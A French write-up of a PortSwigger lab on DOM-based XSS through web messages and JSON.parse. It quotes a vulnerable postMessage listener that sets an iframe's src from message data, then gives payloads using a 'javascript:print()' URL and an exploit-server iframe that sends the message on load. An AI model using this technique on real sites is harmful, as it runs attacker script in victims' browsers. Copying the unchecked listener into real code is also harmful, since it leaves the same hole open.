> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/dom/xss-dom-with-web-messages-and-json-parse.md).

# XSS DOM avec messages Web et json.parse

### XSS DOM utilisant des messages Web et JSON.parse

Ce document reformule et traduit en français les notes fournies sur le labo (PortSwigger) : il décrit le code vulnérable, la façon dont il interprète les messages et la charge utile utilisée pour appeler `print()` via un `iframe`.

Description du script vulnérable

Le script crée dynamiquement une `iframe` balise et un contrôle à distance via les messages reçus par la `postMessage` événement. Il peut charger une URL, ajuster la taille du lecteur et le faire défiler dans la page.

```javascript
<script>
window.addEventListener('message', function(e) {
    var iframe = document.createElement('iframe'),
        ACMEplayer = {element: iframe},
        d;

    document.body.appendChild(iframe);

    try {
        d = JSON.parse(e.data);
    } catch(e) {
        return;
    }

    switch(d.type) {
        case "page-load":
            ACMEplayer.element.scrollIntoView();
            break;

        case "load-channel":
            ACMEplayer.element.src = d.url;
            break;

        case "player-height-changed":
            ACMEplayer.element.style.width = d.width + "px";
            ACMEplayer.element.style.height = d.height + "px";
            break;
    }
}, false);
</script>
```

<figure><img src="/files/1b91c7aa77b51a5ca165cb63cc7768ca0e6cbb7d" alt=""><figcaption></figcaption></figure>

### `postMessage` Exemple de message

L’envoi d’un message JSON sous forme de chaîne permet au script d’interpréter l’action demandée.

Charger une URL normale :

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "https://jord4n.pro"
}), "*");
```

<figure><img src="/files/c81b83853699384e01a1bb0c4133d3554763ad8a" alt=""><figcaption></figcaption></figure>

Utilisez un `JavaScript:` schéma pour exécuter du code (ici appeler `print()`):

```javascript
window.postMessage(JSON.stringify({
  type: "load-channel",
  url: "javascript:print()"
}), "*");
```

<figure><img src="/files/2a8dc6104379d53a45dbd5ace25b69b56b649701" alt=""><figcaption></figcaption></figure>

Sur le serveur d’exploitation, vous pouvez déposer une page HTML avec un `iframe` pointant vers la page vulnérable et envoyer le `chaîne de chargement` message avec `URL: "JavaScript:print()"` lors du chargement de l'iframe.

```javascript
<iframe
  src="https://0ab900e304d6807a80b30312007a000d.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage(JSON.stringify({type:"load-channel",url:"javascript:print()"}),"*"); "
</iframe>
```


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